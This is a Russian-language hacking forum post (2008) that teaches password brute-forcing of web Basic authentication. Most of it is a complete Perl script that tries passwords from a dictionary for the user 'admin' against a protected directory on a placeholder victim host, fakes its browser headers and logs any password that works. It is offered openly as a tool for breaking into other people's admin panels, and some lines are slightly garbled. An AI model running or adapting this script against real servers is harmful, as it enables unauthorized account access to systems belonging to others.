Суббота, 27.04.2024, 04:40
 
Главная Регистрация Вход
Приветствую Вас, Гость · RSS
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Chris, IIIeLesT®, GeNetiK, aka  
Форум » Твой Комп » Хакинг » Брутфорс на Perl. Веб-авторизация.
Брутфорс на Perl. Веб-авторизация.
IIIeLesT®Дата: Суббота, 09.02.2008, 12:24 | Сообщение # 1
Рядовой
Группа: Модераторы
Сообщений: 17
Статус:
Брутфорс на Perl. Веб-авторизация.

Существует несколько подходов к взлому чьего-либо пароля. Самый "тупой" способ - брутфорс (последовательный перебор паролей по словарю, либо по предварительно сгенерированным паролем). Данный способ актуален лишь тогда, когда других способов попросту нет. И работает он исключительно на удачу wink То есть, пароль может подобраться со второй попытки, либо через несколько лет. А может вообще не подобраться (по истечению словарного запаса =)).

Еще одна слабость брутфорса - это медленная работа... Особенно, если ты на диалапе. Да и сами виндовые брутфорсы глючат... Пока резолвнут адрес, пока сконнектятся, пока передадут/получат данные - пройдет довольно много времени.

Дохлый номер... наверное подумаешь ты wink Но я тебя обрадую... Брутфорс дает хорошие плоды, если программа грамотно написана и запущена с *nix шелла, с хорошим каналом wink Чтобы удовлетворить эти 2 потребности потребуются два компонента:
- Прямые руки
- *nix шелл с открытыми соединениями в internet + поддержка background processes

Вообщем то достаточно... Таким образом, у нас два среды для написания брутфорса - Си и Перл. Как истинный фанат я остановлюсь на втором =)

Perl - установлен практически на любой linux-тачке, так что проблем с интерпретатором у нас не возникнет.

Итак, пишем брутфорс, который подбирает пароль к запароленой директории на www (например webmin или radius-admin). В этом случае имя пользователя должно быть известно. Сущность www-авторизации (basic) была описана в предыдущих статьях (), так что повторяться не буду.

Для создании MimeCode в Perl существует компонент MIME::Base64. его мы и используем.

Итак, поехали:

#!/usr/bin/perl

## Autors: Mike: mike@ruhost.ru , Forb: dmitry@dokuchaev.com

use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64

$server="www.victim.com"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir="/admin"; ### Запароленная директория
$logfile="sucess.log"; ### Логфайл, куда пишем пароль wink
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="bigdict.txt"; ### Словарь (файл с паролями)
$user="admin"; ### Имя пользователя

open(file, "$words") or die print "$! ";
@data=;
$total=@data;
close file; ### Записываем все пароли в один массив

$i=0;
foreach $pass (@data) {
$i++;
chomp($pass);
open(file, ">$log") or die print "$! ";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc% Done $i of $total Now: $user:$pass "; ### Пишем в лог статус
close file;
$auth=encode_base64("$user:$pass"); ### Создаем Mime-хеш
chomp($auth);
$socket=IO::Socket::INET->new( PeerAddr => $server,
PeerPort => $port,
Proto => tcp) ### Порождаем сокет
or die print "Unable to connect to $server:$port ";
print $socket "GET $dir HTTP/1.1 ";
print $socket "Host: $server ";
print $socket "Accept: */* ";
print $socket "Referer: http://support.microsoft.com/ ";
print $socket "User-Agent: Internet Explorer 6.0 ";
print $socket "Pragma: no-cache ";
print $socket "Cache-Control: no-cache ";
print $socket "Authorization: Basic $auth ";
print $socket "Connection: close "; ### Отправляем http-данные + Mime-хеш
$ans=; ### Получаем ответ от сервера
if ($ans=~/200 Ok/i) {
open(logf, ">>$logfile") or die print "$! "; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!! ";
close logf;
exit 0; ### Выходим wink
}
}

Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо пока пароль не подберется: все зависит от удачи wink

взят с Crowbar.at.ua


 
Форум » Твой Комп » Хакинг » Брутфорс на Perl. Веб-авторизация.
  • Страница 1 из 1
  • 1
Поиск: